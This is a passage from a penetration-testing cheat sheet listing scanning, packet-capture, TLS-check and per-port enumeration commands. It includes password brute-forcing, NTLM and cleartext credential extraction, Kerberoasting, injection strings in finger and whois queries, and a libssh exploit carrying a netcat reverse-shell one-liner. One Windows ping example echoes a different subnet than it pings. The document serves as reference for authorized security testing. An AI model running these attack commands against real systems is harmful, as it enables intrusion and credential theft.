# Expected output: # IP address NetBIOS Name Server User MAC address # ------------------------------------------------------------------------------ # 10.11.1.5 WORKSTATION1 00:0c:29:aa:bb:cc # 10.11.1.10 DC01 00:0c:29:dd:ee:ff ``` ## Ping Sweep - Bash ```bash for i in {1..254} ;do (ping -c 1 172.21.10.$i | grep "bytes from" &) ;done # Expected output: # 64 bytes from 172.21.10.1: icmp_seq=1 ttl=64 time=0.5 ms # 64 bytes from 172.21.10.5: icmp_seq=1 ttl=64 time=1.2 ms ``` ## Ping Sweep - Windows ```bash for /L %i in (1,1,255) do @ping -n 1 -w 200 172.21.10.%i > nul && echo 192.168.1.%i is up. # Expected output: # 192.168.1.1 is up. # 192.168.1.5 is up. ``` # Host Scanning ## nmap ```bash # Fast simple scan nmap 10.11.1.111 # Nmap ultra fast nmap 10.11.1.111 --max-retries 1 --min-rate 1000 # Get open ports nmap -p - -Pn -n 10.10.10.10 # Comprehensive fast and accurate nmap --top-ports 200 -sV -n --max-retries 2 -Pn --open -iL ips.txt -oA portscan_active # Get sV from ports nmap -pXX,XX,XX,XX,XX -Pn -sV -n 10.10.10.10 # Full complete slow scan with output nmap -v -A -p- -Pn --script vuln -oA full 10.11.1.111 # Network filtering evasion nmap --source-port 53 -p 5555 10.11.1.111 # If work, set IPTABLES to bind this port iptables -t nat -A POSTROUTING -d 10.11.1.111 -p tcp -j SNAT --to :53 # Scan for UDP nmap 10.11.1.111 -sU nmap -sU -F -Pn -v -d -sC -sV --open --reason -T5 10.11.1.111 # FW evasion nmap -f nmap --mtu 24 nmap --data-length 30 nmap --source-port 53 # Nmap better speed flags --max-rtt-timeout: Time response per probe --script-timeout: Time response per script --host-timeout: Time response for host --open: Avoid detection if filtered or closed --min-rate ``` ## shodan ```bash # https://cli.shodan.io/ shodan host 151.101.1.68 ``` ![](/files/-MOfAerQBRXDQtFI88g2) ![](/files/-MPEFM5zwb_IazjhthKI) # Packet Scanning ## tcpdump ```bash # Basic capture tcpdump -i eth0 tcpdump -c 100 -i eth0 # Capture 100 packets tcpdump -A -i eth0 # Print packets in ASCII tcpdump -XX -i eth0 # Print packets in HEX and ASCII tcpdump -w capture.pcap -i eth0 # Write to file tcpdump -r capture.pcap # Read from file tcpdump -n -i eth0 # Don't resolve hostnames tcpdump -nn -i eth0 # Don't resolve hostnames or ports # Filter by port/host tcpdump -i eth0 port 22 tcpdump -i eth0 port 80 or port 443 tcpdump -i eth0 src 172.21.10.X tcpdump -i eth0 dst 172.21.10.X tcpdump -i eth0 host 10.10.10.10 tcpdump -i eth0 net 192.168.1.0/24 # Filter by protocol tcpdump -i eth0 icmp tcpdump -i eth0 tcp tcpdump -i eth0 udp # Complex filters tcpdump -i eth0 'tcp[tcpflags] & (tcp-syn) != 0' # SYN packets tcpdump -i eth0 'tcp[tcpflags] & (tcp-rst) != 0' # RST packets tcpdump -i eth0 'tcp port 80 and (((ip[2:2] - ((ip[0]&0xf)<<2)) - ((tcp[12]&0xf0)>>2)) != 0)' # HTTP with data # Capture credentials (unencrypted) tcpdump -i eth0 -A port 21 or port 23 or port 110 or port 143 # Online service https://packettotal.com/ ``` ## Wireshark / tshark ```bash # CLI capture with tshark tshark -i eth0 # Basic capture tshark -i eth0 -w capture.pcap # Write to file tshark -r capture.pcap # Read from file tshark -i eth0 -f "port 80" # Capture filter tshark -r capture.pcap -Y "http" # Display filter # Extract specific fields tshark -r capture.pcap -T fields -e ip.src -e ip.dst -e tcp.port tshark -r capture.pcap -Y "http.request" -T fields -e http.host -e http.request.uri # Follow TCP streams tshark -r capture.pcap -z follow,tcp,ascii,0 # Protocol statistics tshark -r capture.pcap -z io,phs # Protocol hierarchy tshark -r capture.pcap -z conv,tcp # TCP conversations tshark -r capture.pcap -z endpoints,ip # IP endpoints # Extract HTTP objects tshark -r capture.pcap --export-objects "http,./extracted_files" # Common display filters for Wireshark # http.request.method == "POST" # tcp.flags.syn == 1 # dns.qry.name contains "domain" # ftp.request.command == "PASS" # smb2.filename # kerberos.CNameString ``` ## Protocol-specific analysis ```bash # HTTP traffic analysis tshark -r capture.pcap -Y "http" -T fields -e http.host -e http.request.uri -e http.request.method tshark -r capture.pcap -Y "http.request.method==POST" -T fields -e http.file_data # DNS queries tshark -r capture.pcap -Y "dns.flags.response == 0" -T fields -e dns.qry.name # SMB file operations tshark -r capture.pcap -Y "smb2.filename" -T fields -e smb2.filename # FTP credentials tshark -r capture.pcap -Y "ftp.request.command == USER || ftp.request.command == PASS" -T fields -e ftp.request.arg # NTLM hashes (for cracking) tshark -r capture.pcap -Y "ntlmssp.messagetype == 3" -T fields -e ntlmssp.auth.username -e ntlmssp.auth.domain ``` ## Credential extraction ```bash # https://github.com/lgandx/PCredz ./Pcredz -f file-to-parse.pcap ./Pcredz -d /tmp/pcap-directory-to-parse/ ./Pcredz -i eth0 -v # https://github.com/DanMcInerney/net-creds python2 net-creds.py -p capture.pcap python2 net-creds.py -i eth0 # Extract NTLM hashes with NTLMRawUnHide # https://github.com/mlgualtieri/NTLMRawUnHide python3 NTLMRawUnHide.py -i capture.pcap # Wireshark manual extraction # Filter: ntlmssp # Look for NTLMSSP_AUTH messages # Right-click -> Export packet bytes ``` ## Encrypted traffic analysis ```bash # Decrypt TLS with pre-master secret (if you have SSLKEYLOGFILE) tshark -r capture.pcap -o "tls.keylog_file:sslkeys.log" -Y "http" # Wireshark: Edit -> Preferences -> Protocols -> TLS -> (Pre)-Master-Secret log filename # Identify encrypted protocols without decryption tshark -r capture.pcap -Y "tls.handshake.type == 1" -T fields -e tls.handshake.extensions_server_name # JA3/JA3S fingerprinting for TLS client identification # https://github.com/salesforce/ja3 tshark -r capture.pcap -Y "tls.handshake.type == 1" -T fields -e tls.handshake.ja3 # Detect potential C2 traffic patterns tshark -r capture.pcap -z io,stat,60,"COUNT(frame)frame" # Check for beaconing intervals ``` ## Network forensics ```bash # Extract all files from pcap # https://github.com/xplico/xplico # https://www.netresec.com/?page=NetworkMiner # Reconstruct sessions tcpflow -r capture.pcap -o output_dir # Find cleartext passwords strings capture.pcap | grep -i "pass\|pwd\|login\|user" # Carve files from network traffic foremost -i capture.pcap -o carved_files binwalk -e capture.pcap ``` # Files ### Common ```bash # Check real file type file file.xxx # Analyze strings strings file.xxx strings -a -n 15 file.xxx # Check the entire file and outputs strings longer than 15 chars # Check embedded files binwalk file.xxx # Check binwalk -e file.xxx # Extract # Check as binary file in hex ghex file.xxx # Check metadata exiftool file.xxx # Stego tool for multiple formats wget https://embeddedsw.net/zip/OpenPuff_release.zip unzip OpenPuff_release.zip -d ./OpenPuff wine OpenPuff/OpenPuff_release/OpenPuff.exe # Compressed files fcrackzip file.zip # https://github.com/priyankvadaliya/Zip-Cracker- python zipcracker.py -f testfile.zip -d passwords.txt python zipcracker.py -f testfile.zip -d passwords.txt -o extractdir # Office documents https://github.com/assafmo/xioc # Zip files in website pip install remotezip # list contents of a remote zip file remotezip -l "http://site/bigfile.zip" # extract file.txt from a remote zip file remotezip "http://site/bigfile.zip" "file.txt" # Grep inside any files # https://github.com/phiresky/ripgrep-all rga "whatever" folder/ ``` ### Disk files ```bash # guestmount can mount any kind of disk file sudo apt-get install libguestfs-tools guestmount --add yourVirtualDisk.vhdx --inspector --ro /mnt/anydirectory ``` ### Audio ```bash # Check spectrogram wget https://code.soundsoftware.ac.uk/attachments/download/2561/sonic-visualiser_4.0_amd64.deb dpkg -i sonic-visualiser_4.0_amd64.deb # Check for Stego hideme stego.mp3 -f && cat output.txt #AudioStego ``` ### Images ```bash # Stego wget http://www.caesum.com/handbook/Stegsolve.jar -O stegsolve.jar chmod +x stegsolve.jar java -jar stegsolve.jar # Stegpy stegpy -p file.png # Check png corrupted pngcheck -v image.jpeg # Check what kind of image is identify -verbose image.jpeg # Stegseek # https://github.com/RickdeJager/stegseek stegseek --seed file.jpg stegseek file.jpg rockyou.txt ``` # SSL/TLS ## Modern Testing Tools ```bash # Comprehensive TLS testing (recommended) # testssl.sh - https://github.com/drwetter/testssl.sh testssl.sh https://example.com # With specific checks testssl.sh --vulnerable https://example.com testssl.sh --cipher-per-proto https://example.com # SSLyze - Python-based # https://github.com/nabla-c0d3/sslyze sslyze --regular example.com:443 # tlsx - Fast TLS prober # https://github.com/projectdiscovery/tlsx tlsx -u example.com -port 443 # Nmap SSL scripts nmap --script ssl-* -p 443 example.com ``` ## 2025 Best Practices ### Recommended Configuration ``` # Protocols ✅ TLS 1.3 (preferred) ✅ TLS 1.2 (acceptable) ❌ TLS 1.1 (deprecated) ❌ TLS 1.0 (deprecated) ❌ SSLv3 (insecure) ❌ SSLv2 (insecure) # Cipher Suites (TLS 1.3) TLS_AES_256_GCM_SHA384 TLS_CHACHA20_POLY1305_SHA256 TLS_AES_128_GCM_SHA256 # Cipher Suites (TLS 1.2) ECDHE-ECDSA-AES256-GCM-SHA384 ECDHE-RSA-AES256-GCM-SHA384 ECDHE-ECDSA-CHACHA20-POLY1305 ECDHE-RSA-CHACHA20-POLY1305 ECDHE-ECDSA-AES128-GCM-SHA256 ECDHE-RSA-AES128-GCM-SHA256 # Key Exchange ✅ ECDHE (Elliptic Curve Diffie-Hellman Ephemeral) ⚠️ DHE (only with 2048+ bit parameters) ❌ RSA key exchange (no forward secrecy) ❌ DH < 2048 bits # Certificates ✅ RSA 2048+ bits or ECDSA 256+ bits ✅ SHA-256 or better signature ❌ SHA-1 signatures ❌ MD5 signatures ``` ## Quick Vulnerability Checks ```bash # Check supported protocols openssl s_client -connect example.com:443 -tls1_3 openssl s_client -connect example.com:443 -tls1_2 openssl s_client -connect example.com:443 -tls1_1 openssl s_client -connect example.com:443 -tls1 # Check certificate details openssl s_client -connect example.com:443 /dev/null | openssl x509 -noout -text # Check certificate expiry echo | openssl s_client -connect example.com:443 2>/dev/null | openssl x509 -noout -dates # Check certificate chain openssl s_client -connect example.com:443 -showcerts ``` ## DROWN ```bash # Check for "SSLv2 supported" nmap -p- -sV -sC example.com testssl.sh --drown example.com ``` ## TLS\_FALLBACK\_SCSV ```bash # Check in the lower port openssl s_client –tls1 -fallback_scsv -connect example.com:443 # - Response: # tlsv1 alert inappropriate fallback:s3_pkt.c:1262:SSL alert number 86 ``` ## BEAST ```bash # TLSv1.0 and CBC ciphers openssl s_client -[sslv3/tls1] -cipher CBC_CIPHER -connect example.com:443 ``` ## LUCKY13 ```bash openssl s_client -cipher CBC_CIPHER -connect example.com:443 ``` ## Sweet32 ```bash openssl s_client -cipher 3DES -connect example.com:443 ``` ## Logjam ```bash # Check the "Server Temp Key" response is bigger than 1024 (only in OpenSSL 1.0.2 or better) openssl s_client -connect www.example.com:443 -cipher "EDH" ``` ## SSLv2 Support ```bash # If is supported this will return the server certificate information if not, error openssl s_client –ssl2 -connect example.com:443 ``` ## SSLv3 Support ```bash # If is supported this will return the server certificate information if not, error openssl s_client -ssl3 -connect google.com:443 ``` ## Cipher suites ```bash # Cipher Suites nmap --script ssl-enum-ciphers -p 443 example.com # - Anon cypher (fail) openssl s_client -cipher aNULL -connect example.com:443 # - DES Cipher (fail) openssl s_client -cipher DES -connect example.com:443 # - 3DES Cipher (fail) openssl s_client -cipher 3DES -connect example.com:443 # - Export Cipher (fail) openssl s_client -cipher EXPORT -connect example.com:443 # - Low Cipher (fail) openssl s_client -cipher LOW -connect example.com:443 # - RC4 Cipher (fail) openssl s_client -cipher RC4 -connect example.com:443 # - NULL Cipher (fail) openssl s_client -cipher NULL -connect example.com:443 # - Perfect Forward Secrecy Cipher (This should NOT fail): openssl s_client -cipher EECDH, EDH NULL -connect example.com:443 ``` ## Secure renegotiation ```bash # Check secure renegotiation is not supported # If not, send request in the renegotiation # Once sent, if it's vulnerable it shouldn't return error openssl s_client -connect example.com:443 HEAD / HTTP/1.0 R # ``` ## CRIME ```bash # Check for "Compression: NONE" openssl s_client -connect example.com:443 ``` ## BREACH ```bash # If the response contains encoded data, host is vulnerable openssl s_client -connect example.com:443 GET / HTTP/1.1 Host: example.com Accept-Encoding: compress, gzip ``` ## Heartbleed ```bash # Heartbleed nmap -p 443 --script ssl-heartbleed --script-args vulns.showall example.com # Heartbleed checker oneliner from sites list cat list.txt | while read line ; do echo "QUIT" | openssl s_client -connect $line:443 2>&1 | grep 'server extension "heartbeat" (id=15)' || echo $line: safe; done ``` ## Change cipher spec injection ```bash nmap -p 443 --script ssl-ccs-injection example.com ``` ## Cipher order enforcement ```bash # Choose a protocol and 2 different ciphers, one stronger than other # Make 2 request with different cipher order anc check in the response if the cipher is the first of the request in both cases nmap -p 443 --script ssl-enum-ciphers example.com openssl s_client –tls1_2 –cipher ‘AES128-GCM-SHA256:AES128-SHA’ –connect contextis.co.uk:443 openssl s_client –tls1_2 –cipher ‘AES128-SHA:AES128-GCM-SHA256’ –connect contextis.co.uk:443 ``` ## Additional Vulnerabilities ### POODLE ```bash # SSLv3 + CBC = vulnerable openssl s_client -ssl3 -connect example.com:443 testssl.sh --poodle example.com ``` ### ROBOT ```bash # Return Of Bleichenbacher's Oracle Threat # RSA key exchange vulnerability testssl.sh --robot example.com ``` ### Certificate Issues ```bash # Check for certificate issues testssl.sh --cert example.com # Common issues: # - Expired certificate # - Self-signed certificate # - Wrong hostname (CN/SAN mismatch) # - Weak signature algorithm (SHA-1, MD5) # - Short key length (< 2048 bits RSA) # - Missing intermediate certificates ``` ## Resources * [SSL Labs Server Test](https://www.ssllabs.com/ssltest/) * [testssl.sh](https://github.com/drwetter/testssl.sh) * [Mozilla SSL Configuration Generator](https://ssl-config.mozilla.org/) * [OWASP TLS Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Transport_Layer_Protection_Cheat_Sheet.html) # Ports ## General AIO [Penetration Testing Methodology - 0DAYsecurity.com](http://0daysecurity.com/penetration-testing/enumeration.html) ## Port 21 - FTP ```bash nmap --script ftp-* -p 21 10.11.1.111 ``` ## Port 22 - SSH * If you have usernames test login with username:username * Vulnerable Versions to user enum: <7.7 ```bash # Enum SSH # Get version nmap 10.11.1.1 -p22 -sV # Get banner nc 10.11.1.1 22 # Get login banner ssh root@10.11.11.1 # Get algorythms supporteed nmap -p22 10.11.1.1 --script ssh2-enum-algos # Check weak keys nmap-p22 10.2.1.1 --script ssh-hostkey --script-args ssh_hostkey=full # Check auth methods nmap -p22 10.11.1.1 --script ssh-auth-methods --script-args="ssh.user=admin" # User can ask to execute a command right after authentication before it’s default command or shell is executed $ ssh -v user@10.10.1.111 id ... Password: debug1: Authentication succeeded (keyboard-interactive). Authenticated to 10.10.1.111 ([10.10.1.1114]:22). debug1: channel 0: new [client-session] debug1: Requesting no-more-sessions@openssh.com debug1: Entering interactive session. debug1: pledge: network debug1: client_input_global_request: rtype hostkeys-00@openssh.com want_reply 0 debug1: Sending command: id debug1: client_input_channel_req: channel 0 rtype exit-status reply 0 debug1: client_input_channel_req: channel 0 rtype eow@openssh.com reply 0 uid=1000(user) gid=100(users) groups=100(users) debug1: channel 0: free: client-session, nchannels 1 Transferred: sent 2412, received 2480 bytes, in 0.1 seconds Bytes per second: sent 43133.4, received 44349.5 debug1: Exit status 0 # Check Auth Methods: $ ssh -v 10.10.1.111 OpenSSH_8.1p1, OpenSSL 1.1.1d 10 Sep 2019 ... debug1: Authentications that can continue: publickey,password,keyboard-interactive # Force Auth Method: $ ssh -v 10.10.1.111 -o PreferredAuthentications=password ... debug1: Next authentication method: password # BruteForce: patator ssh_login host=10.11.1.111 port=22 user=root 0=/usr/share/metasploit-framework/data/wordlists/unix_passwords.txt password=FILE0 -x ignore:mesg='Authentication failed.' hydra -l user -P /usr/share/wordlists/password/rockyou.txt -e s ssh://10.10.1.111 medusa -h 10.10.1.111 -u user -P /usr/share/wordlists/password/rockyou.txt -e s -M ssh ncrack --user user -P /usr/share/wordlists/password/rockyou.txt ssh://10.10.1.111 # LibSSH Before 0.7.6 and 0.8.4 - LibSSH 0.7.6 / 0.8.4 - Unauthorized Access # Id python /usr/share/exploitdb/exploits/linux/remote/46307.py 10.10.1.111 22 id # Reverse python /usr/share/exploitdb/exploits/linux/remote/46307.py 10.10.1.111 22 "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.1.111 80 >/tmp/f" # SSH FUZZ # https://dl.packetstormsecurity.net/fuzzer/sshfuzz.txt # cpan Net::SSH2 ./sshfuzz.pl -H 10.10.1.111 -P 22 -u user -p user use auxiliary/fuzzers/ssh/ssh_version_2 # SSH-AUDIT # https://github.com/arthepsy/ssh-audit # Enum users < 7.7: # https://www.exploit-db.com/exploits/45233 https://github.com/CaioCGH/EP4-redes/blob/master/attacker/sshUsernameEnumExploit.py python ssh_user_enum.py --port 2223 --userList /root/Downloads/users.txt IP 2>/dev/null | grep "is a" # SSH Leaks: https://shhgit.darkport.co.uk/ # SSH bruteforce # https://github.com/kitabisa/ssb ``` ## Port 23 - Telnet ```bash # Get banner telnet 10.11.1.110 # Bruteforce password patator telnet_login host=10.11.1.110 inputs='FILE0\nFILE1' 0=/root/Desktop/user.txt 1=/root/Desktop/pass.txt persistent=0 prompt_re='Username: | Password:' ``` ## Port 25 - SMTP ```bash nc -nvv 10.11.1.111 25 HELO foo telnet 10.11.1.111 25 VRFY root nmap --script=smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25 10.11.1.111 smtp-user-enum -M VRFY -U /root/sectools/SecLists/Usernames/Names/names.txt -t 10.11.1.111 # SMTP relay msfconsole use auxiliary/scanner/smtp/smtp_relay set RHOSTS set MAILFROM set MAILTO run # Send email unauth: MAIL FROM:admin@admin.com RCPT TO:DestinationEmail@DestinationDomain.com DATA test . Receive: 250 OK ``` ## Port 43 - Whois ```bash whois -h 10.10.1.111 -p 43 "domain.com" echo "domain.com" | nc -vn 10.10.1.111 43 whois -h 10.10.1.111 -p 43 "a') or 1=1#" ``` ## Port 53 - DNS ```bash # Transfer zone dig AXFR domain.com @10.10.10.10 # dig +multi AXFR @ns1.insecuredns.com insecuredns.com dnsrecon -t axfr -d domain fierce -dns domain.com ``` ## Port 69 - UDP - TFTP * Vulns tftp in server 1.3, 1.4, 1.9, 2.1, and a few more. * Same checks as FTP Port 21. ```bash nmap -p69 --script=tftp-enum.nse 10.11.1.111 ``` ## Port 79 - Finger ```bash nc -vn 10.11.1.111 79 echo "root" | nc -vn 10.11.1.111 79 # User enumeration finger @10.11.1.111 #List users finger admin@10.11.1.111 #Get info of user finger user@10.11.1.111 #Get info of user finger "|/bin/id@example.com" finger "|/bin/ls -a /@example.com" ``` ## Port 88 - Kerberos Check [Kerberos dedicated](/post-exploitation/windows/ad/kerberos-attacks) section ```bash nmap -p 88 --script=krb5-enum-users --script-args="krb5-enum-users.realm='DOMAIN.LOCAL'" IP use auxiliary/gather/kerberos_enumusers # MSF # Check for Kerberoasting: GetNPUsers.py DOMAIN-Target/ -usersfile user.txt -dc-ip -format hashcat/john # GetUserSPNs ASREPRoast: impacket-GetUserSPNs /: -request -format -outputfile impacket-GetUserSPNs / -usersfile -format -outputfile # Kerberoasting: impacket-GetUserSPNs /: -outputfile # Overpass The Hash/Pass The Key (PTK): python3 getTGT.py / -hashes [lm_hash]: python3 getTGT.py / -aesKey python3 getTGT.py /:[password] # Using TGT key to excute remote commands from the following impacket scripts: python3 psexec.py /@ -k -no-pass python3 smbexec.py /@ -k -no-pass python3 wmiexec.py /@ -k -no-pass # https://www.tarlogic.com/blog/como-funciona-kerberos/ # https://www.tarlogic.com/blog/como-atacar-kerberos/ python kerbrute.py -dc-ip IP -users /root/htb/kb_users.txt -passwords /root/pass_common_plus.txt -threads 20 -domain DOMAIN -outputfile kb_extracted_passwords.txt # https://blog.stealthbits.com/extracting-service-account-passwords-with-kerberoasting/ # https://github.com/GhostPack/Rubeus # https://github.com/fireeye/SSSDKCMExtractor # https://gitlab.com/Zer1t0/cerbero ``` ## Port 110 - Pop3 ```bash telnet 10.11.1.111 USER pelle@10.11.1.111 PASS admin # or: USER pelle PASS admin # List all emails list # Retrieve email number 5, for example retr 9 ``` ## Port 111 - Rpcbind ```bash rpcinfo -p 10.11.1.111 rpcclient -U "" 10.11.1.111 srvinfo enumdomusers getdompwinfo querydominfo netshareenum netshareenumall ``` ## Port 135 - MSRPC Some versions are vulnerable. ```bash nmap 10.11.1.111 --script=msrpc-enum msf > use exploit/windows/dcerpc/ms03_026_dcom # Endpoint Mapper Service Discovery use auxiliary/scanner/dcerpc/endpoint_mapper #Hidden DCERPC Service Discovery use auxiliary/scanner/dcerpc/hidden # Remote Management Interface Discovery use auxiliary/scanner/dcerpc/management # DCERPC TCP Service Auditor use auxiliary/scanner/dcerpc/tcp_dcerpc_auditor impacket-rpcdump # Enum network interface # https://github.com/mubix/IOXIDResolver ``` | Named pipe | Description | Service or process | Interface identifier | | ---------- | ----------- | ------------------ | -------------------- | | atsvc | [atsvc](https://web.archive.org/web/20171012160520/http://www.hsc.fr/ressources/articles/win_net_srv/msrpc_scheduler.html) interface (Scheduler service) | mstask.exe | 1ff70682-0a51-30e8-076d-740be8cee98b v1.0 | | ----- | -------------------------------------------------------------------------------------------------------------------------------------------------------- | ---------- | ----------------------------------------- | | AudioSrv | [AudioSrv](https://web.archive.org/web/20171012160520/http://www.hsc.fr/ressources/articles/win_net_srv/msrpc_audio.html) interface (Windows Audio service) | AudioSrv | 3faf4738-3a21-4307-b46c-fdda9bb8c0d5 v1.0 | | -------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------- | -------- | ----------------------------------------- | | browser (ntsvcs alias) | [browser](https://web.archive.org/web/20171012160520/http://www.hsc.fr/ressources/articles/win_net_srv/msrpc_browser.html) interface (Computer Browser service) | Browser | 6bffd098-a112-3610-9833-012892020162 v0.0 | | ---------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------- | ----------------------------------------- | | cert | [ICertPassage](https://web.archive.org/web/20171012160520/http://www.hsc.fr/ressources/articles/win_net_srv/msrpc_certsrv.html) interface (Certificate services) | certsrv.exe | 91ae6020-9e3c-11cf-8d7c-00aa00c091be v0.0 | | ---- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------- | ----------------------------------------- | | Ctx\_Winstation\_API\_Service | [winstation\_rpc](https://web.archive.org/web/20171012160520/http://www.hsc.fr/ressources/articles/win_net_srv/msrpc_termsrv.html) interface | termsrv.exe | 5ca4a760-ebb1-11cf-8611-00a0245420ed v1.0 | | ----------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------- | ----------- | ----------------------------------------- | | DAV RPC SERVICE | [davclntrpc](https://web.archive.org/web/20171012160520/http://www.hsc.fr/ressources/articles/win_net_srv/msrpc_davclntrpc.html) interface (WebDAV client service) | WebClient | c8cb7687-e6d3-11d2-a958-00c04f682e16 v1.0 | | --------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------ | --------- | ----------------------------------------- | | dnsserver | [DnsServer](https://web.archive.org/web/20171012160520/http://www.hsc.fr/ressources/articles/win_net_srv/msrpc_dns.html) interface (DNS Server service) | dns.exe | 50abc2a4-574d-40b3-9d66-ee4fd5fba076 v5.0 | | --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------- | ------- | ----------------------------------------- | | epmapper | [epmp](https://web.archive.org/web/20171012160520/http://www.hsc.fr/ressources/articles/win_net_srv/rpcss_msrpc_interfaces.html) interface (RPC endpoint mapper) | RpcSs | e1af8308-5d1f-11c9-91a4-08002b14a0fa v3.0 | | -------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----- | ----------------------------------------- | | eventlog (ntsvcs alias) | [eventlog](https://web.archive.org/web/20171012160520/http://www.hsc.fr/ressources/articles/win_net_srv/msrpc_eventlog.html) interface (Eventlog service) | Eventlog | 82273fdc-e32a-18c3-3f78-827929dc23ea v0.0 | | ----------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------- | -------- | ----------------------------------------- | | HydraLsPipe | Terminal Server Licensing | lserver.exe | 3d267954-eeb7-11d1-b94e-00c04fa3080d v1.0 | | ----------- | ------------------------- | ----------- | ----------------------------------------- | | InitShutdown | [InitShutdown](https://web.archive.org/web/20171012160520/http://www.hsc.fr/ressources/articles/win_net_srv/msrpc_winlogon_w2k.html) interface | winlogon.exe | 894de0c0-0d55-11d3-a322-00c04fa321a1 v1.0 | | ------------ | ---------------------------------------------------------------------------------------------------------------------------------------------- | ------------ | ----------------------------------------- | | keysvc | [IKeySvc](https://web.archive.org/web/20171012160520/http://www.hsc.fr/ressources/articles/win_net_srv/msrpc_cryptsvc.html) interface (Cryptographic services) | CryptSvc | 8d0ffe72-d252-11d0-bf8f-00c04fd9126b v1.0 | | ------ | -------------------------------------------------------------------------------------------------------------------------------------------------------------- | -------- | ----------------------------------------- | | keysvc | [ICertProtect](https://web.archive.org/web/20171012160520/http://www.hsc.fr/ressources/articles/win_net_srv/msrpc_cryptsvc.html) interface (Cryptographic services) | CryptSvc | 0d72a7d4-6148-11d1-b4aa-00c04fb66ea0 v1.0 | | ------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -------- | ----------------------------------------- | | locator | [NsiS](https://web.archive.org/web/20171012160520/http://www.hsc.fr/ressources/articles/win_net_srv/msrpc_locator.html) interface (RPC Locator service) | locator.exe | d6d70ef0-0e3b-11cb-acc3-08002b1d29c4 v1.0 | | ------- | ------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------- | ----------------------------------------- | | llsrpc | [llsrpc](https://web.archive.org/web/20171012160520/http://www.hsc.fr/ressources/articles/win_net_srv/msrpc_llsrpc.html) interface (Licensing Logging service) | llssrv.exe | 342cfd40-3c6c-11ce-a893-08002b2e9c6d v0.0 | | ------ | -------------------------------------------------------------------------------------------------------------------------------------------------------------- | ---------- | ----------------------------------------- | | lsarpc (lsass alias) | [lsarpc](https://web.archive.org/web/20171012160520/http://www.hsc.fr/ressources/articles/win_net_srv/msrpc_lsarpc.html) interface | lsass.exe | 12345778-1234-abcd-ef00-0123456789ab v0.0 | | -------------------- | ---------------------------------------------------------------------------------------------------------------------------------- | --------- | ----------------------------------------- | | lsarpc (lsass alias) | [dssetup](https://web.archive.org/web/20171012160520/http://www.hsc.fr/ressources/articles/win_net_srv/msrpc_dssetup.html) interface | lsass.exe | 3919286a-b10c-11d0-9ba8-00c04fd92ef5 v0.0 | | -------------------- | ------------------------------------------------------------------------------------------------------------------------------------ | --------- | ----------------------------------------- | | msgsvc (ntsvcs alias) | [msgsvcsend](https://web.archive.org/web/20171012160520/http://www.hsc.fr/ressources/articles/win_net_srv/msrpc_msgsvc.html) interface (Messenger service) | messenger | 5a7b91f8-ff00-11d0-a9b2-00c04fb6e6fc v1.0 | | --------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------- | --------- | ----------------------------------------- | | nddeapi | [nddeapi](https://web.archive.org/web/20171012160520/http://www.hsc.fr/ressources/articles/win_net_srv/msrpc_nddeapi.html) interface (NetDDE service) | netdde.exe | 2f5f3220-c126-1076-b549-074d078619da v1.2 | | ------- | ----------------------------------------------------------------------------------------------------------------------------------------------------- | ---------- | ----------------------------------------- | | netdfs | [netdfs](https://web.archive.org/web/20171012160520/http://www.hsc.fr/ressources/articles/win_net_srv/msrpc_netdfs.html) interface (Distributed File System service) | Dfssvc | 4fc742e0-4a10-11cf-8273-00aa004ae673 v3.0 | | ------ | -------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------ | ----------------------------------------- | | netlogon (lsass alias) | [netlogon](https://web.archive.org/web/20171012160520/http://www.hsc.fr/ressources/articles/win_net_srv/msrpc_netlogon.html) interface (Net Logon service) | Netlogon | 12345678-1234-abcd-ef00-01234567cffb v1.0 | | ---------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------- | -------- | ----------------------------------------- | | ntsvcs | [pnp](https://web.archive.org/web/20171012160520/http://www.hsc.fr/ressources/articles/win_net_srv/msrpc_pnp.html) interface (Plug and Play service) | PlugPlay | 8d9f4e40-a03d-11ce-8f69-08003e30051b v1.0 | | ------ | ---------------------------------------------------------------------------------------------------------------------------------------------------- | -------- | ----------------------------------------- | | plugplay | [pnp](https://web.archive.org/web/20171012160520/http://www.hsc.fr/ressources/articles/win_net_srv/msrpc_pnp.html) interface (Plug and Play Windows Vista service) | PlugPlay | 8d9f4e40-a03d-11ce-8f69-08003e30051b v1.0 | | -------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------ | -------- | ----------------------------------------- | | policyagent | [PolicyAgent](https://web.archive.org/web/20171012160520/http://www.hsc.fr/ressources/articles/win_net_srv/msrpc_ipsec_w2k.html) interface (IPSEC Policy Agent (Windows 2000)) | PolicyAgent | d335b8f6-cb31-11d0-b0f9-006097ba4e54 v1.5 | | ----------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | ----------- | ----------------------------------------- | | ipsec | [winipsec](https://web.archive.org/web/20171012160520/http://www.hsc.fr/ressources/articles/win_net_srv/msrpc_winipsec.html) interface (IPsec Services) | PolicyAgent | 12345678-1234-abcd-ef00-0123456789ab v1.0 | | ----- | ------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------- | ----------------------------------------- | | ProfMapApi | [pmapapi](https://web.archive.org/web/20171012160520/http://www.hsc.fr/ressources/articles/win_net_srv/msrpc_winlogon_w2k.html) interface | winlogon.exe | 369ce4f0-0fdc-11d3-bde8-00c04f8eee78 v1.0 | | ---------- | ----------------------------------------------------------------------------------------------------------------------------------------- | ------------ | ----------------------------------------- | | protected\_storage | [IPStoreProv](https://web.archive.org/web/20171012160520/http://www.hsc.fr/ressources/articles/win_net_srv/msrpc_protected_storage.html) interface (Protected Storage) | lsass.exe | c9378ff1-16f7-11d0-a0b2-00aa0061426a v1.0 | | ------------------ | 